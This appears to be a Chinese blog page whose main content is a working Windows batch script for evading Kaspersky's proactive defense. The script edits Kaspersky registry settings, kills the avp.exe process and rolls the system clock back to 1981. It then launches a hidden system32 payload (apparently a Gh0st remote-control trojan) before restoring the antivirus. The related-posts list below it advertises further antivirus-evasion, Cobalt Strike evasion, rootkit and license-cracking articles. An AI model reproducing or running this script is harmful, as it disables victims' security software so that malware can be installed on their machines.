绕过卡巴主动防御的批处理

免杀-绕过内存扫描 阅读详情
@echo off
tasklist|findstr /i "avp.exe" && (

reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 0 /f >nul


ping -n 2 localhost >nul
taskkill /f /t /im avp.exe >nul
set date=%date% >nul
date 1981-01-01 >nul
ping -n 10 localhost > nul
start /b %systemroot%/system32/Ntras.GH0 >nul
date %date% >nul
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
ping -n 2 localhost >nul
start "" ""%avpp%"" >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
goto exit
)
:exit
echo 结束
pause>nul 
 
Cobalt Strike 的 Beacon 使用介绍以及 Profile 文件修改Beacon内存教程 1、内存段是rwx权限2、内存中有 beacon 字符串3、内存中有 ReflectiveLoader 字符串。 阅读详情

相关推荐

绕过卡巴斯基主动防御系统方法的讨论

 |=---------------------------------------------------------------------------=||=-----------------=[  绕过卡巴斯基主动防御系统方法的讨论  ]=----------------=||=--------------------------------------------------------

2102

调用 dll 侵权_ShellCode免杀框架内附SysWhispers2_x86直接系统调用

本帖最后由 mai1zhi2 于 2021-1-28 12:27 编辑文章来自:https://www.52pojie.cn/thread-1360548-1-1.html如有侵权,请联系删除1、概述之前分析CS4的stage时,有老哥让我写下CS免杀上线方面知识,遂介绍之前所写shellcode框架,该框架的shellcode执行部分利用系统特性和直接系统调用(Direct Syste...

weixin_30480859的博客 1015

卡巴斯基无限试用破解

最近很多破解无法试用,这个亲测可用@@@,非常方便1分钟搞定! 中文界面,基本设置同其他破解方法,关闭自我保护,退出卡巴斯基,点击打开次破解自动重启电脑,之后点击试用30天就ok,,, 可以重复无限试用30天!!!

Cobaltstrike去除特征

本文作者:BlackCat(Ms08067实验室内网小组成员)前言:红蓝对抗的时候,如果未修改CS特征、容易被蓝队溯源。去特征的几种方法:1、更改默认端口方法一、直接编辑teamser...

Ms08067安全实验室 6473

卡巴虚拟机启发式查毒的绕过方法

卡巴虚拟机启发式查毒的绕过方法 卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法卡巴虚拟机启发式查毒的绕过方法

手把手教你用Apple Developer App完成苹果开发者账号注册(含证件验证失败解决方案)

本文详细指导如何通过Apple Developer App完成苹果开发者账号注册,特别针对证件验证失败问题提供解决方案。从准备工作到注册流程,再到验证失败的处理方法,帮助开发者顺利完成注册,避免常见错误。

moss5的博客 1156

从BeaconEye说起,围绕CS内存特征的检测与规避

2021年8月BeaconEye项目发布,这是一个基于CobaltStrike内存特征进行检测的威胁狩猎工具。BeaconEye具有优秀的检出率与检测效率,使大多数已有规避技术无效化,在网络安全圈内掀起了关于CS内存攻防的新一轮讨论热潮。

dzqxwzoe的博客 838

ECU-TEST新手入门:从软件申请到第一个测试包创建的完整保姆级流程

本文详细介绍了ECU-TEST软件从申请试用、安装配置到创建第一个测试包的完整流程。针对新手用户,提供分步指导,包括界面认知、测试组件添加、变量定义及执行结果分析,帮助快速掌握汽车电子测试工具的基本操作。特别说明试用授权的两种获取方式和安装注意事项。

weixin_30606461的博客 481

编程对付卡巴的自启动监控

众所周知,卡巴主动防御的自启动监控超级变态,但是还是对程序有分析的。举个简单的例子来说,如果你的添加自启动的命令为shell   autorun,vbhide卡巴就叫了,autorun是一个过程了,但是如果你改成这样shell   autorun,vbNormalFocus ,或许就杀猪声就没了。这里说说几种现在可以让杀猪声消失的几种办法。1,这是网上广为流传的办法,就是把启动项添加到"ALLUS

894

西门子 标准程序解读---> 机器手抓取和涂胶控制程序

摘要 该程序实现机械手在OP70/OP90工位的自动化控制,核心功能包括: 流程控制:分段(Seg1-Seg11)管理抓件、涂胶、放件等动作,结合DB1050/DB1250数据块监控工位状态及变位机位置反馈。 安全机制:配置干涉区(FC124)、实时检测安全光/急停信号,防止碰撞;服务程序(FB191)支持维修位触发与安全隔离。 参数配置:通过DB块关联机器人速度、节拍(FB27)、车型编码(如空过=2)及手自动模式(DB70.DBX21.2)。 应用场景:适用于汽车焊接/装配线

工控智联驿站 1239

ESP32 WIFI 智能巡线小车设计与实现(四足 / 四轮通用)

本文设计的 ESP32 WIFI 智能巡线小车,硬件模块化、软件轻量化,兼容四足与四轮两种结构,实现了自动巡线与 WIFI 远程控制双功能。系统成本低、易上手,适合嵌入式初学者学习 WIFI 通信、传感器应用、运动控制等核心知识点,也可在此基础上扩展蓝牙控制、避障、视觉识别等功能。

weixin_42300449的博客 151

一个过主动防御的方法

今天拿到一个过kaspersky主动防御而不改系统时间的远控马,于是分析下吧: 首先当然是创建线程: push    esp             ; lpThreadId push    0               ; dwCreationFlags push    0               ; lpParameter push    offset sub_409178 ; lp

her0z的专栏 754

AUTOSAR内存篇 -内存驱动(Mem)

Mem驱动程序的task是基于底层内存设备技术的物理分段的低级内存访问。Mem驱动程序的API与内存设备技术无关,因此向存储器访问模块上层提供了与存储器设备无关的接口。所有高级功能(如跨段操作)都由内存访问模块处理,以尽可能降低Mem驱动器的复杂性和占用空间。Mem驱动API命名、类型定义和文件命名规则都遵循标准的AUTUSAR BSW模块实现。服务Mem_Init初始化Mem驱动的内部状态,并设置Mem驱动Job处理状态到MEM_JOB_OK。

IOT2017的博客 712

过卡巴斯基主动防御

绕过主动防御 木马病毒刺穿卡巴斯基ZDNet 安全频道频道 更新时间:2008-06-28 作者: 来源:论坛整理本文关键词:卡巴斯基 病毒 木马  安全诊所的值班医生张帆,正在查询一些资料。这时推门进入一位病人。病人称他最近一段时间,很多和自己相关的网络账户都被盗了,想让医生看看是什么原因。   张帆医生询问患者有没有安装杀毒软件。患者称自己安

wy616的专栏 899

vue3+vite:引入tailwindcss不生效的原因,详细解决Tailwind配置没问题但就是不生效的情况,配置正确无报错但样式没有生效(包括tailwindcss在Vue2使用不生效解决方案)

vue3 tailwind使用教程以及tailwind不生效的问题,vue3+vite引入tailwindcss不生效的原因,tailwindcss配之后不生效怎么办,如何解决tailwinscss不生效的原因,Vue3项目使用tailwindcss在Vue2使用,不生效解决,如何解决使用 Tailwind CSS 后出现的样式不生效的问题?tailwindcss配之后不生效 tailwindcss不生效,为什么我的 Tailwind css 类没生效,解决使用 Tailwind 时样式不生效的问题,配置没

✅ 精选推荐文章 4127

SAP中关于预测需求的重要载体:计划独立需求

预测,就是为了调节客户需求的波动、不平衡,使企业的生产计划、物料计划尽量平稳、有序的必备工具。计划独立需求,Planned Independent Requirement(PIR)是SAP系统中最常见的预测需求。

saplakes的博客 1878

实用级反主动防御rootkit设计思路

关键字:rootkit,反主动防御,网络监控,ring0,mcafee8.5i,KIS6,ZoneAlarm Pro,实用级产品测试目录:反主动防御rootkit的产生背景及其必要性反网络访问主动防御反API钩子进程行为主动防御反系统Notify进程行为主动防御绕过监控进入ring0安装驱动实用级反主动防御rootkit的通用性问题反主动防御rootkit的产生背景及其必要性        当前随

yushiqiang1688的专栏 1364

PPF函数可视化生产可能性边界线(R语言)

假设产品A的生产函数为A = 2 * R1 + R2,产品B的生产函数为B = R1 + 2 * R2,其中A和B分别表示产品A和产品B的产量,R1和R2表示资源1和资源2的分配数量。首先,让我们定义两种产品:产品A和产品B,它们的生产分别需要不同的资源和技术。现在我们已经计算了每种分配比例下的产品A和产品B的产量,接下来我们可以绘制生产可能性边界线。运行完整的代码后,我们将得到一个图形,显示了生产可能性边界线,该线代表经济体在给定资源和技术条件下所能生产的所有产品组合。

2301_79326559的博客 874

针对卡巴斯基2010的免杀研究

 卡巴斯基2010在针对数字签名和系统文件防护变的非常严格,注册表更不说,经过这么多年的升级基本上没有可以利用的价值,卡巴斯基2010之前版本可以通过修改感染系统文件进行启动,绕过监控,只需要给PE文件添加一个数字签名,由于卡吧监控并不严格只是判断是否加了签名,而没有判断签名是否正确,所以给很多马留了生存空间。  但是,卡巴2010后的版本就没有这么幸运了,对系统目录文件的验证变的十分

冷风 4519

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

实用级反主动防御rootkit设计思路[转载]

有兴在这次x'con交流会上认识白远方兄弟,这是他很早前写的文章,提到了很多东西,保存一下。 作者:白远方 (ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)June 18, 2007关键字:rootkit,反主动防御,...

chubaisheng8627的博客 144

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ByShell 一个穿越主动防御的木马

 《电脑报》提到了一个可以轻松穿越卡巴,瑞星,诺顿的主动防御功能的免杀木马:byshell。于是在网上搜,搜到byshell推广版的说明是:可以穿越卡巴瑞星诺顿的默认设置主动防御。我就下了个推广版回来试下微点能不能防,生成服务端后一运行,微点没有让人失望,立刻报告说发现未知监控软件。本来还想试下远程监控看看微点会不会提示有可疑程序访问网络之类的,因为在单位上班,还是放弃了念头。 BYshe

yakoo5的专栏 2194

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

卡巴司机如此重大bug为何视而不改?

在论坛转的时候发现了这片帖子--《卡巴司机如此重大bug为何视而不改?》卡巴死机通过论坛枪手把自己吹得神乎其神,并且大肆诋毁瑞星。开始曾经对这些鬼话深信不疑,其实事后想想,自己何尝不被卡巴的人忽悠过,卡巴死机真的那么 好么?论杀毒:很多病毒都可以秒杀卡巴,论服务,这么大的一个bug卡巴为何久久都不改进?一个小小  病毒工作机制如下 1检查被感染机器是否...

weixin_34144450的博客 181
上一篇: Debug和Release之本质区别的讨论
下一篇: 一段搜索EPROCESS来列进程的代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值